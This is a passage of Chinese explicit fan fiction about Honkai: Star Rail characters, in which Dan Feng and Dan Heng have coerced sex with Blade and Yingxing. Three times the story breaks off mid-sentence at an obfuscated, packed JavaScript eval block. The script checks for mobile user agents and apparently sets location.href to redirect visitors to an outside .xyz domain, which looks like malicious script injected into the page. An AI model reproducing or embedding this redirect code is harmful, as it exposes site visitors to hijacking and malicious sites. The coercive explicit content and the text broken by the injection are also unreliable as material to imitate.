丹枫用手指摩挲了几下男人的眼角,然后顺着他的下颌慢慢向下,含住男人凸起的喉结,细细地吮吸亲吻,听着耳边的声音含糊而懒散。 他的尾巴拍了拍消极怠工的丹恒,并将探进工匠的衣服里,直接利索的划破开来。 丹枫笑着的声音传递了过来。 “我在看着你哦,小恒。” “!” 丹恒本来还在按揉男人肌肉,让他放松下来的手指,陡然掐紧,在皮肤上面留下明显的一道痕迹,相信过一会儿,就会变得青紫起来。 他哀怨的瞪了对面的龙一眼。 催什么催,他已经在做了。 年轻的持明一脸的苦大深仇,纤细修长的手指侵染着紧张而出的汗水,向来平稳的手,却微微有点颤抖起来。 他心里仿佛听到了什么东西在哗啦啦的碎了一地。 大抵是节操吧…… 4. 你小子怎么回事啊? 识时务者为俊杰,在意识到自己今天无论如何都要走走这一遭后,这位才华横溢的百冶大人选择了摆烂。当然了,这其中有多少被完全长在自己的性癖上的龙尊美色占据的理智自是不便多提。 男人把头偏到一边,抿着唇,颇有消极抵抗的意味。 但没过一会儿,这个已近中年的白发男人便倒在前面龙尊满是莲花香气的怀抱里,脊背弯着,衣衫凌乱,感受到丹枫手的动作,死死地咬着唇。 他表现得比刃还要不耐受…… 丹恒心想,一边用瘦削白皙的手指戳了几下,看着它下意识的瑟缩了一下,柔软的微微含进了一点点指尖,丹恒看着些微的心动,他又戳了两下。 手指要进去吗? 丹恒拧了拧眉,神色却表现出和那位丹枫如出一辙的冷淡姿态,他重新看了一眼正搂抱住应星的人,似乎察觉到自己的视线,男人抬起眸,看了过来。 丹枫:“怎么?还是不愿意吗?那我……” 察觉到自己腰侧那条蠢蠢欲动的青色龙尾在晃悠,丹恒打了个激灵,连忙摇摇头,说:“不,我只是想跟你说,刃……他好像清醒过来了。” 他提醒正背对着星核猎手的前世,这样大刺刺的将后背交给神志不清,可能还陷入魔阴身无法自拔的家伙,真是胆子太大了。 “他很危险,你要小心……” 漂亮碧青的龙尾缠绵的绕着丹恒的手腕转了一圈,其主人似笑非笑的别了丹恒一眼,“这么关心,我还真是高兴呢,小恒。” 你要是真的高兴,就把我放了,我要去出去,离开这里,哪里都行,只要不是再在你的身边——还有,别叫的这么亲密,你到底是不是丹枫,还不一定呢。 丹恒心里这样想,却不敢说出来,只能憋在心里嘀咕。 他收了心神,试探的用手指往里面戳了两下。 进不去,根本进不去,还弄疼了白发的男人。 虽然应星看起来已经不怎么挣扎了,但在丹恒这个举动后,匠人还是动了动,他抬起头,回头看了这位年轻的持明一眼,眼眶微红,不是别的缘故,是疼的。 “……” “呃,对不起。” 丹恒看着这样的应星,重新刷新记忆的印象时,还下意识的垂下眼皮道歉。 他愁眉苦脸的看着自己的手指,还是太干了,该怎么办啊?想着想着,视线又转到应星身上,青年蹙眉思考了一下,忽然把手指递到了工匠的嘴边。 应星瞪大了眼睛,只见这位年轻持明微微红了白皙的脸颊,那红晕一直晕染上了眼角,他敛着眉,唇角紧抿的模样,好似一副十分委屈的样子。 然后他说:“可以舔舔吗?” 应星:…… 你是认真的?你的云吟术呢? 然而丹恒面对这一系列远超常识的事情,早就有点昏了头,再加上他下意识的回避前世带给他的一切事物,根本没有想到还有那个,所以,华丽丽地坑了应星,并且毫无自觉。 应星默然。 他算是明白了。这小子就是和丹枫一个模子刻出来的,都是白皮芝麻馅,坑人毫不手软,没有一点自知之明。 男人盯着青年好半天,只收获一道无辜又茫然的目光,末了还抬起手往前送了送。 “为了不弄疼,我只能如此了。抱歉……” “……” 应星憋屈的抖了一下,他看着递到嘴边的手指,抿抿唇,最终还是伸出舌头慢慢地舔了起来。 在丹恒的角度看不见这位应星脸上的神色,只能看见他凌乱柔软的刘海,和垂下的微微颤抖的浓密眼睫,以下白皙的下巴。 ……是柔软湿.润的触感。 丹恒一眨不眨的盯着白发男人,没有发觉自己的眼瞳逐渐转深拉长,带出一种异样的冷酷冷冽意味。 他握着应星腰侧的手,开始无意识的轻轻动弹,点在男人结实整齐的腹.肌上面,有点犹疑地抚摸着,力度不重,却让人呼吸凌乱。 丹枫不知何时松开了对自己好友的控制,反而微微笑着偏偏头,背后贴上了一具火热结实的身体——是刃。 浓墨重彩,宛如血色沉淀出来的男人伸出了自己满是伤疤的结实手臂,将龙揽入自己的怀中,声音嘶哑。 “……丹枫。” 他喊得杀气腾腾的模样,可吓得小儿啼哭。 矜贵的龙尊却不疾不徐的抬起手,反手抚摸上男人的脸颊,感受到那股充沛的生命之力,淡色的唇微微扬起,露出一个清淡的笑。 他将手搭上刃的脖颈,侧过头,放任自己把身体的重量压在男人身上,然后笑开,“应星……” 龙尊并不常露笑颜,这个表情在丹枫这里可是难得至极。美人笑颜如花的模样,自然是养眼的,可在场的谁都没有欣赏的心情。 因为应星这个称呼喊出来,有反应的人却是两个。 本来气息还算平和的男人,登时眼神凶狠起来,隐隐似有魔阴身要发作。 “别叫那个名字……” 刃本来横在丹枫腰间的手臂一紧,力道之大几乎想要勒断龙尊纤细有力的腰肢。 丹枫微不可查的蹙眉,这种程度的大力,他自然是有些疼的。 扬扬眉,身后的男人在失控边缘,还需要再好好教导一下才行。 他这样想着,便也这样做了。 刃只觉得怀中人腰身一扭,就这么轻松写意的挣脱自己的控制,并将他压在了身下。 丹枫唇角微弯,他今天似乎一直心情不错,眉梢眼角都是笑意,手指抵着男人的唇瓣,轻轻抚了抚,然后捏着他的脸亲了下去。 和最开始那个吻相比,这个亲吻就缠绵悱恻了许多,刃睁着剔透血色的眼眸一刻都没有离开眼前的人,他盯着他,目不转睛,就连魔阴身什么消退都不知道。 半晌,丹枫抬起头,青色的眸子就像是波光潋滟的湖水,他捏着男人脸的手揉捏了一下,这才慢慢的道:“既然不愿意我叫应星这个名字,那么——不如你来亲口告诉我,你如今的名讳?” 低低浅浅的声音在耳边,丹枫垂首,眉眼中神情却是柔软的,这位如今还风光霁月的龙尊轻轻在于他对话。 “只要你说了,我会听的……” 刃抿抿嘴唇,动了动喉结,最终闭了闭眼,没有说话,气息却也不在激烈,显得难得平和起来。 —— 丹恒没有去管丹枫如何安抚那个满身疯狂的星核猎手,他的注意力都放在了眼前的白发男人身上。 在应星因为丹枫的一声呼唤而情绪波动时,这位一直都很随波逐流的青年罕见的强硬了态度。 他将人转了个身,正面对着自己,捧起脸,看进那双紫灰色的眼眸里,一字一句的对他说:“应星,你现在应该专注于我这里才对。丹枫他喊得不是你。” 应星有些瑟然:“我……” 他看向眼前的年轻人,青年的脸颊白净清丽,眼眸清澈如水,此刻正微微将嘴角下撇,看起来倒是面色平静淡然。但作为丹枫这么久的好友,他若是看不出来这只持明小龙在不高兴,就枉顾相处的那些岁月了。 在丹枫身上练出来的经验,用在眼前这只小龙身上,依旧能够起效。 想到这里,工匠叹息一声,不得不感叹。 持明轮回真是奇妙。 他们两个人真的很像,亦或者说几乎一模一样。但持明本人却又本能的认同自己是独立的人,和前世区分开来。 应星本以为自己是无缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472907|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见到丹枫轮回蜕生的。 如今在这次荒唐的机缘巧合之下,倒是满足了自己的这个心愿。 想到这里,应星笑了一下,把人笑得神色一愣,然后趁着他愣神的时候,抬起手狠狠的摸了一把自己从刚才开始就一直都很感兴趣的碧青龙角。金镶玉的工艺,还能用在这种地方吗?谁给他续接的,还是说自己养出来的这种模样。 “唔!” 丹恒抬手捂住自己的龙角,眼眶微红的看向匠人,不知道这人做什么突然偷袭自己。 应星却没看他,而是打量那对漂亮的龙角,他的手指没有穿过去,龙角看起来虚幻透明,其实还是实体的,这让应星松了一口气。 虽然不知道持明龙尊的角断了,对他们的影响大不大,但起码看起来现在人还挺健康的,长得就跟丹枫那活爹没什么差别。 除了脸是上上品以外其他都可以拉到负。 要不是自己脾气好,性格开朗,迟早得被丹枫这个不着调的样子给气死。 应星又看了一眼前面呆呆愣愣的小龙。翻了个白眼,眼前这只和丹枫也是一样的。眼瞅着时间一分一秒的过去,要是他们再不抓紧,等丹枫过来了,估计更糟。 偏偏丹恒看起来一副茫然无措的样子,主观能动性极差。 怎么着?是指望受害人自己主动吗? 嗨,又一个活爹。 那边的窸窸窣窣的动静重新响了起来,看起来短时间不会完事,可应星知道,他要是敢跑,手边搁着的那条修长柔韧的青色龙尾可不是吃素的。 不能再等下去了,应星下定决心,抬起手一把抓着丹枫的龙尾巴逆着顺了一波毛,然后连忙放手,朝正对面的丹恒扑过去,躲过龙尾下意识抽动的一击扫尾,劲风从头顶掠过,丹枫忙里抽闲看了这边一眼,又专注回刃的身上。 这边的工匠已经骑在青年身上,低下头正对着年轻人圆溜溜的青色眼睛。丹恒似乎受惊不小,本来就大的眼睛看起来更显得圆润明亮,现在看起来更呆了。 应星想着,然后转眼记起自己要做的事情。 长痛不如短痛,长痛不如短痛,等丹枫那疯子过来,他两都没好果子吃,一定要抓紧时间,工匠疯狂安慰自己…… 可还是控制不住自己那颗暴躁的心。 尤其是在看见这只小龙惊慌失措的模样。 哎哟,我这暴脾气…… 身材高大,肌肉结实流畅的工匠拎起丹恒的衣领,凑近过去,压低的声音是抑制不住的愤懑。 “……你还要浪费多少时间?” “啊?” 丹恒睁大眼睛,他有点懵了。 这个人怎么突然就把自己推到骑了上来,是不想自己屁股遭殃,打算反攻了吗? 不行,绝对不行! 不管如何,就算自己不在乎这些,但是在丹枫面前,丹恒绝对不想自己输人一筹。 丹枫都能把刃压得服服帖帖,自己还能对付不了一个神智清醒的工匠吗? 这位刚刚成年的持明龙裔坚定了信念。 他坚毅的目光好似要去入党,抬起手握住应星的腰,并说道:“既然如此,我们就不浪费时间了,应星……得罪了。” 他抬起手指,打算寻着熟悉的角度将手指送进去。 结果发现手指上面的口水,早已经干掉了。 丹恒举着手指:“……” 然后眼尾压低,露出一副可怜兮兮的委屈样子。 “又要麻烦你了……” “……” 应星:我有一句话不知道当讲不当讲…… 丹枫没忍住嗤笑出声,然后挥挥手,示意他们继续,不用在意自己。 ——他的转世还真是可爱啊…… 5. 你在驴我吧 丹恒抽出了被舔的湿淋淋的手指,不再耽误,动作迅速了许多,只是临到头,他还是显得很小心翼翼。 毕竟经验不足,即使丹枫之前就在边上把刃给上了。可应星和刃是不同的,这名已经年近中年的匠人身体对丹恒这样的龙裔来说,太脆弱了,他怕自己不小心弄得血流成河…… 到时候,还要麻烦丹枫来治疗,自己既丢面子又丢里子,想想都觉得是一件多恐怖的事。 “……唔、嗯……”随着手指的深入,应星的呼吸明显变了。他想咬着牙,咽下声音,却根本抑制不住。今天从早上到现在,自己都处于相当被动的状态,让人心情烦躁不已。 可他抬起头,凌厉的眼神瞥向正微微垂着眼,一张小脸显得又乖又漂亮的小龙时,莫名其妙的消了气,他和这人置什么气。 罪魁祸首是那个天杀的丹枫,瞧啊,他把那个男人弄得真惨啊,他该多亏自己幸好面对的是经验不足青涩的甚至可爱的龙尊后世吗? 丹恒一边用手指缓慢地试探,一边按着应星的肩膀,时不时的看他一眼,那双又亮又剔透的眸子观察着男人,那副小心翼翼的模样,好像怕自己一不小心就死掉了似的。 应星想嗤笑一声。 他说。 “小鬼,我可没那么脆弱……你可以放心大胆一点……” 丹恒微微顿了顿,他眨眨眼,出色的样貌赋予了他一派无害又柔软的表现外在。 ……想看看应星的脸。 但他不会说的。 “应星……”丹恒感觉自己的声音有些干哑。 “……”应星的呼吸急促了一下。 “应星——”丹恒凑近了一些,他有些难受,可还没有给这人扩张好,心里有一团火在烧,于是他开口继续呼唤着眼前的人。 清冷绵软的声音,低低的,就好像是在撒娇一样,应星抓紧了青年的肩膀,不自在的动了动身体。 失算了,这小子确实和丹枫不太一样。 他怎么能这样做! 白发的工匠不可抑制的红了耳朵,他听不得那一声声软绵绵的呼唤。 这小崽子居然对着他撒娇! 是谁教的! 百冶大人一身骨头比金人都硬,心气比天高,谁来都能怼几句,端的是铁面无私的黑心阎王面孔。可有一致命弱点,那就是吃软不吃硬。 尤其是面对一个拥有黑长直的漂亮美人软着声音对他说话时,百炼钢都要化成绕指柔。 以前应星是不屑一顾的,认为这样的事情根本不可能发生。他也是有底线的,什么软都吃,他的颜面何在? 可如今这时,他才发现,不是不吃,而是挑人。 青年的眼神湿漉漉的,尖耳红透了,他一眨不眨的注视着白发的工匠,让得人喉结动了动,想要回避,又舍不得避开。 “应星……” 丹恒发现了,自己在呼唤匠人的名字时,对方便会动情许多,难道应星喜欢他这么做吗? 他试探着继续一声声喊着人的名字,然后得寸进尺,让应星几乎软了腿,快要撑不住自己的身体,有着结实肌肉的手臂在隐隐发抖。 应星几乎是狼狈地避开了青年的视线,深深地吸了口气,然后转过来看着丹恒,他用力捏紧了龙裔的肩膀,在那滑腻如玉的肌肤上留下深深地指痕,他低下头,用嘴堵住了青年的唇。 “闭嘴,安静做你的!” “唔呃……” 工匠动作几乎是粗鲁的咬着持明龙裔柔软的舌尖,他触到了内里湿.润的、温热的口腔,青年下意识闭上了眼,微微张嘴,任由男人亲吻,被亲得有些恍惚,眼眸里的青色在水光潋滟。 他的呼吸急促,感觉那团火已经要满溢出来了,是灼热的,腾起的火让他变得焦躁而有攻击性,想压制,却不得入,只能放任自由。 所以他睁开眼,青瞳中的光芒几乎要把应星拆吃入肚,身体的本能带着他急切地凑近,啃咬上应星的嘴唇,舌头深入口腔,热切的反客为主,让整个吻都带着压制强硬的意味。 整个舌头都伸了进来,彼此的唾液混在一起,一边吮吸的同时一边逼迫他不得不吞咽两人的口水…… 应星有点迷糊了,他似乎激起了一些关于龙的本能反应,丹枫刚刚可亲得没这么狠。他一边被迫承.受着一边忍不住胡思乱想,大脑疯狂的思考着,试图抓着清醒的一角,让自己不要沉沦。 腿好像软了,是被亲的。 似乎快窒息了,有些分不清到底因为缺氧才会身体瘫软,还是他真的喜欢这个。 他好像听见了细微的水声,不是丹枫那边的,而是自己这里,有些不太妙的样子。 “……你在走神吗,应星……” 丹恒一边哑着声音呢喃着一边断续地吻着应星,刚刚差点把人吻窒息以后,他学乖了。看人偶尔感觉有点吸不上气的时候就稍微拉开些距离,等他喘两下再度亲上去。 两人的呼吸声交缠在一起,男人结实的身体热量感染过来,他抱了满满一怀,很温暖,也让丹恒知道为什么丹枫看起来如此喜欢了。 因为他也喜欢温暖柔软的事物,两人的唇瓣分开,然后白发的工匠将头抵在他的肩膀,粗重的呼吸喷洒在那一皮肤小片肌肤,激起浅浅的红。 ……是和之前完全不一样的氛围,丹恒心想。 面前的男人浑身都散发着不满的意味,每个动作都能擦出火来,他像是那些熟透了的果实,现在可以咬下那薄皮,品尝里面的甘甜汁液了。 不需要用力,只要轻轻地摘下它就好——对,抬起手,轻轻地伸过去…… 丹恒抽了抽手指,他眼角余光看见了周遭的环境,被褥凌乱,那些珍品布料这次过后就可以报废了。 “应星……”丹恒叫着他,男人坐在他的腰腹上面,却几乎趴下了,他的脸贴着自己的颈侧皮肤蹭了蹭,连呼吸都融在了一起。 应星闭了闭眼睛,他弓起身体伸手抱住了丹恒的后背,把额头抵在丹恒的肩膀上,声音几乎微不可闻:“……可以了……” 青年纤细的手指已经不能再满足了。 到了这个时候,两个人对视了一眼,丹恒心有灵犀的把人掀了下来,换了个更方便自己动作的位置。 应星侧着脸,手捏紧成拳,心想这小子总算机灵了一回。他都这么主动了,总不至于后面的流程,也让他这个受害者来动吧? 要是真这样,心高气傲的百冶大人就直接打算撂担子不干了。 谁惯着你,有本事就打死他。他就没受过这种委屈。 可工匠的泄气才一半,临场时他还是破防了。 他真是直男……虽然不知道现在说这个是不是晚了。 “应星?没关系吗?”丹恒清冷的声音沙哑的几乎辨不出原本的音色,他恢复本相后穿的衣服本就有些暴露,早就被应星七手八脚的给扯下的差不多了,青年身体修长如玉,皮肤美好的就像是上等玉石,只是那东西长得不太行。 也不是不行,就是——太大了。 见人盯着自己,丹恒红了红耳朵,然后蹙起纤细的眉,一脸不好意思的小声解释道:“其实持明是有两geng的,我已经尽力了。” “!!!” 草,杀了他,就现在! “你尽力了个什么……” “两geng你会受不住的,我只能用一个。”他听起来好像很委屈的样子。 你有什么脸委屈,啊? 他的屁股不是屁股吗? 工匠的屁股也是有人权的…… 应星两眼一黑,他颤巍巍的抬头看了一下另一边,丹枫若有所觉的撇下视线,然后好像明白了什么,他换了一个角度,让好友能够看得清楚。 “如何?你要是喜欢,让小恒也解除限制好了。”清风明月的龙尊笑着拍拍身下男人的脸,白玉的下巴滴着细汗,“我看他就很喜欢,应星你想来也一样才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472908|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对……” 对个屁!“……你不准用!” “哦。”丹恒眨眨眼,听话的点点头,没有反驳应星的话。 他无所谓的,这场莫名其妙的事情本就不在他的意愿范围之内。 不过——“……我会努力的。” 龙的劣根性开始滋生——无法避免。 丹恒第一次这么清晰地感觉到身体在渴望着,想要占有、想要撕咬被自己掌控的猎物,将面前的人一点点完全吃掉。 ——似乎只有这样,才能浇灭心里烧着的无名火。 “……呜、啊……” 丹枫说得没错,白发的工匠和刃一样,身体很有天赋,也对,他们本就是一个人。 丹恒能清晰地感觉到身下人正在因为他的动作而颤抖,耳边听见对方喉咙里溢出的呜咽声音。 高大的男人,被迫弯着脊背,表情有些承受不住的崩溃。 应星整个人几乎瘫在那里,深深地吸气又呼气,胸口剧烈地起伏着,努力适应着。一边觉得其实不算懒,一边又想张开嘴对这个鲁莽的龙崽子破口大骂。 之前有表现的多担心他身体,现在就有多打脸。 这家伙根本就是比丹枫那个傻逼都要来得疯,一点也不知道节制…… 他半阖着眼,差点咬到自己的舌头,张开嘴根本吐不出一句话,只剩下断断续续的凌乱呼吸。 青年的眼眸已经完全是竖起来的兽瞳模样,但搭配上清丽的五官,还是很美。 应星头上的发簪早就不知所踪,他的白发散乱着,垂着眼眸像是被欺负狠了的大狗,又高又健壮的成年男人此时却几乎快要哭出来了。 “啊……呜……慢、慢点……”他求饶的声音被淹没,已经分不清到底是他的还是那个跟自己一样倒霉的家伙了。 哦,你说那家伙就是我自己啊。 那没事了……个屁。 应星的求饶显然没有一点任何作用。 此刻上头的龙裔根本不会听他的。 而在思维的间隙中,丹恒聪明的大脑计算过了,这种程度的,不会让应星坏掉的,他知道。 于是他便心安理得的继续做了下去。 “不行——呜——” 丹枫不知道什么时候跑了过来,他带着一种好奇探究的眼神,打量现在狼狈不堪的好友。 “呃混账……啊……”自己的形象已经崩得不能再崩了,在这两个人,不,龙裔面前。 想到之前,他还在想丹枫这个样子是不是崩人设。可他自己却没有想到,后面发生的事情能有这么离奇魔幻。 丹枫伸出手捏住白发男人的脸颊,薄薄的唇轻勾。 “好涩啊,应星……” 他捏了捏,然后被受不了的应星捶了一拳,没有什么力道,他的体力已经消耗殆尽了。 “……滚!”有气无力的呵斥。 丹枫不恼,他捏着男人的下巴,然后用软软的唇亲吻他的脸颊,应星的眼角还挂着眼泪,披散着黑色长发的龙尊凑过去舔了舔他的深紫色的眼睛,然后吮吸掉了眼泪,是咸的。 丹恒现在才觉得自己脑子清醒了过来。 他看着男人被自己弄成了这个样子,脸蛋白了又红,红了又白,最后苍白的像纸,睁着一双青色的大眼睛,表情无辜又可怜,汗湿的黑发贴在颊边,眼中水色涟涟,好像被欺负的人是他一样。 看得应星简直气不打一处来。 他失算了。 如果非要让一个人来得话,还不如让丹枫来,起码他有分寸。 嗯,大概? 总不会对着他,也塞两geng吧? 一geng都这么艰难了,两geng是什么酷刑啊? 未来的自己,他的屁股真的还好吗? 瘫在床上一点也不想动弹的百冶大人如是想着,紫灰色的眼眸一眨不眨,眼神涣散,活像是被风雨吹打过后的残花,真是使人见之落泪。 6. 饮月君强抢罗浮将军 神策府。 景元刚行至后院中,忽然灵感微动,一股细微的波动凭空而来。他还来不及反应,一道身影忽然出现,从半空中砸下来。好巧不巧的正好掉落在这位白发的将军怀里,不小的力道把察觉到熟悉气息,没有提起警惕心的人一并带到了地上,摔得结结实实,两个人一起滚在繁茂的花丛里,草叶乱飞。 “呃……” 白发的将军脸上平时一直挂着的微笑变成了苦笑,他收了收手臂,揽住怀中的人,垂首看着那个突然出现的人,等看清楚以后,他表情控制不住的微微别扭起来,打量片刻后,男人一言难尽的叹了一口气。 “丹恒,你这是经历了什么?” 从天上掉下来砸到景元的不是别人,正是刚刚从前世的“魔爪”下逃脱的小青龙丹恒。 衣衫不整,看起来颇为狼狈不堪的丹恒,手忙脚乱的撑起手臂,从景元怀中坐起来,他没急着回答景元的问题,而是先抬头左右看看,仿佛在找什么似的表情很不安跟紧张,最后青色透亮的瞳孔骤然锁定了不远处的浅浅池塘上空。 景元也若有所思的跟着看过去,只见那股熟悉的波动再次出现,又一个他眼熟的人影在半空中突然出现。这次那个人运气不太好,没有人当肉垫子,就径直掉落在了那个水还算清澈的池塘里,华丽丽的变成了落汤鸡。 “嘭!” 男人高大结实的身体落在水里,激起了巨大的水花,零星的水珠甚至溅到了这边,景元抬起手抹了抹脸上的水,慵懒的目光总算振作了起来。 他看了看丹恒,又看了看那位池塘里湿漉漉的的星核猎手刃,彻底绷不住表情了。 “……你们去做了什么?”见多识广的神策将军眼角抽搐,他瞪大眼睛,指着刃,语气明显激烈严肃了许多,“刃……你对丹恒做了什么?” 已经爬起来跪坐在地上,和自己的衣服还在做争斗的丹恒愣了。他怔怔的抬起头,眼眶微红,似乎哭过一样,整个人都好像受到了极大的刺激,而萎靡不振的可怜样子。 刚刚还没来得及看清,现在看清后,景元的表情难得有些难看起来。他目光痛惜的盯着身边的丹恒,视线从那白皙脖子上的已经青紫的吻痕,一路看下去,眉头越皱越紧。那些暧.昧的痕迹没入凌乱的衣服中,看不真切,景元知道一定有很多,因为就连那一双手上面,都带着啃咬的痕迹。青年的皮肤白,就衬得那些痕迹格外的刺眼。 那边行动好像有些迟缓的男人才刚刚爬起来,他浑身都湿透了,身上倒是没有什么痕迹,除了那些狰狞的伤疤,只是同样的衣衫不整的样子,一看就不对劲。“经验老道”的景元如此想着。 听到景元的质问,男人猛然抬起头,眼眸红如滴血,表情却很茫然,他张了张嘴,干涸的喉咙却忽然痒得咳嗽起来,过了一会儿,才声音嘶哑的否认道:“没有……那种事……”不是丹恒,是丹枫…… 刃忍着浑身不适,脚步踉踉跄跄站起身,只觉得身体好像都被那个疯子干的快散架了,以他如今的恢复速度,都很难复原。 但还好,起码他已经重新回来了,不用再当那个煞笔龙尊的充气娃娃。尽管他后面早就跟那龙同流合污,沉沦下去,啧,想想真是的傻子一个…… 黑发血瞳的男人看了看那边的丹恒,不知为何,他突然觉得现在这个人看起来顺眼了起来,就连魔阴身都没那么痛了。 一定是丹枫那混蛋的错…… 丹恒还隐约带着泪光的青色眼睛和自己的宿敌对视一眼,两个人同时别过头。 他们决定今天不打了。 起码这段时间都不想再打架了。 谁要让他们打架,就跟谁急。 刃绷紧了唇角,面色更显冷冽凶悍,英俊的男人听了一下四周的动静,也不打算再理会景元,就想离开这里。 作为被公司通缉的星核猎手,还是别这么大胆的在仙舟罗浮乱晃,尤其是这里还是神策府。 可惜,走之前,他被拦住了。 俊美威严的白发将军握着那柄石火梦身,闪身挡在浑身的气息都凝结着不爽,表情阴恻恻的高大男人身前。 景元抬眸注视着对方,熔金的眼眸没有多余情绪,他沉声道:“抱歉,刃,在解释清楚这件事情之前,你不能走……” 刃烦躁得瞪了一眼面前的男人,这家伙实在是不够眼力见,他拧着眉头,表情冰冷,说,“景元,你要拦我?” 白发的将军没有让开,他平静而视。 景元不是没眼力见,他是太有眼力见了,以至于误会了某些事。 但现在,事关丹恒,无论如何,无论是谁,景元都不能就这样轻飘飘的放任,而让这个他一直护着送到星海遨游的“游鱼”受了委屈。 还是在自己的另一个旧友那里受的委屈…… 景元想到这里,表情也更加的平静起来,却是带着一股凝而不发的沉郁。 “刃,丹枫就算有什么过错,你要找丹恒,我也没有立场去阻止,但是你不能这样折辱于丹恒……持明无父无母,景某不才,勉强也算看着他长大,此事,我一定要个说法!” 景元顿了顿,神色郑重,他的气势开始上升,有金色的弧光在周身闪烁。 “如果执迷不悟的话,那我也只好再次擒下你,将你关进幽囚狱好好审问!” “……等等,不是……”身后传来青年茫然又惊讶的声音。 “这种时候你还要为他说话吗?丹恒!”景元不赞同地压了压眉头,一直笑眯眯在丹恒面前颇为和蔼的男人此时却是气势汹汹,教人无法直视。 这个模样的景元,丹恒也是第一次见。 但问题是—— “事情,不是那样的……” 丹恒目瞪口呆的看着眼前的发展,他刚刚满脑子迷迷糊糊的,好不容易,或者说也不知道怎么就平安回到了现在的时间线里,人还是一片浆糊的状态,根本没有注意景元在跟刃说什么,结果自己勉强理清情绪,抬头就发现,景元和刃快打起来了。 他连忙出声阻止。 无论是为了那时候“难兄难弟”的革命情谊,还是为了自己的清白声誉,丹恒都不能让景元继续下去了。 等会儿要是闹大了,难道要他和刃两个人联手对着景元,周围是乌压压的云骑军,然后说自己去了七百年前,草.了当年的工造司百冶,而另一边令人闻风丧胆的星核猎手被那清冷孤绝的饮月君.草.了?还是用的两geng,腿都差点.合不.拢那种? 想到那种可怕的场景,丹恒顿时一个激灵,他还要不要脸了?现在生活还算不错,丹恒不想当场因为社死轮回蜕生…… 不能社死!绝对不行! 丹恒从地上爬起来,当机立断的朝景元扑了过去。 同是,他也急切喊出声:“景元,住手!” 丹恒就像是炮弹一样冲了过去,一把抱住了景元的腰,他太急了,忘了收着力,于是便好心办了坏事。持明的身体素质毋庸置疑,而身为龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可我之前好像还看见有两位的那什么同人文呢……将军大人自己都不介意,这么严肃做什么?再说了,要不是关系好,能让人这么编排吗?” “啧,说的也是……” 彦卿没有理会身后的讨论声,少年突然想起来,今天路过太卜司时,被符玄神神叨叨的说了一大堆话,最后拍拍他的肩膀,虽然表情平淡看不出什么,可眼底深处却带着一丝看好戏的笑意一闪即逝。 “罢了,谅你也理不明白其中深意,本座就再说得简单点。若是你过后遇见饮月君的转世——丹恒先生的话,无论他做了什么奇怪的事情,还请当做什么都没发生。” 身量不足的太卜大人绷着一张秀丽的小脸,语重心长的叮嘱他。 “我这样说,你明白了吗?彦卿骁卫?” 少年虽然不太明白具体缘由,但太卜大人一向很有分寸,所以他选择听从这个建议。 于是,彦卿回过身,对那群云骑军摇摇头,说道:“没事,暂时不用管,将军没事的。太卜大人今天一早便已经预见了此事。” 他顿了顿,环顾四周,“我们先把将军的这院子整理一下吧,乱糟糟的成何体统。” 既然将军大人身边的骁卫都这样说了,云骑军们自然无不应。 再说了,将军大人就算不敌,在这罗浮上面,那还有神君守护着呢。 所以,将军大人还算安全吧? 7. 这个世界太疯狂 丹恒没想回列车,反而要避免自己跑回去后,在伙伴们面前社死,所以他下意识的跑到了这具身体记忆里最熟悉的地方。 ——鳞渊境。 然后在风驰电掣的飞奔中,差点撞上一位刚刚才分别不久的“熟人”。 那位墨发白衣的男人负手而立,背对着众人,抬起头,远远的眺望着,似乎正在注视打量古海更深处的那丰饶建木,那个他已经镇守无数年的奇观景胜之物。 丹恒很想不管不顾的径直撞过去,再逃之夭夭,但他的良心实在是还处于健康状态,丢不下那个道德素质。 于是他停住身,利索转身,拔腿就跑。 希望丹枫他没注意到自己,真切希望! 可惜,他的许愿还是没有成功。 那位不知何时也一起来到七百年后的饮月龙尊,尽管背对着他们,却依然得知了丹恒这群人的行踪。 丹恒撞上了一面水墙,薄薄一层,很容易就能挣脱,但这个时候,丹枫已经转过身,朝他们看过来了。 来不及——已经发现他们了。 龙尊目光平淡的扫过丹恒还有刃,最后落在了另一位熟悉又不熟悉的身影上。 他开口说道:“小恒,身为持明一族的尊长,何时这般慌张?” 男人青瞳里结着冰,看起来就像是凛冽如雪的巍峨高山,令人高不可攀的同时,又倾倒于那清华独绝的气质。丹恒被看的头皮发麻,虽然现在丹枫看起来很正常,可他还是怕这个人突然会发疯。 不过龙尊这回注意力在别的地方,他瞥过视线,看着持明肩上的那人,淡淡道:“景元,既然已经清醒,就别赖在他身上了。” —— 如今的罗浮神策将军正微微笑着,用那双金眸灿烂的眼睛,上下打量站在对面的那个男人。 ——七百年前的饮月君丹枫。 也曾是他的好友之一。 回想起以前的岁月,倒也不算太清晰了,毕竟已经过去了数百年的时光。身为罗浮的将军,他也有太多需要操心的事宜,哪有什么空闲去悲伤秋月,感时伤怀呢。 但能再次见到已经存在于过去时光里的故人,景元还是很高兴的。 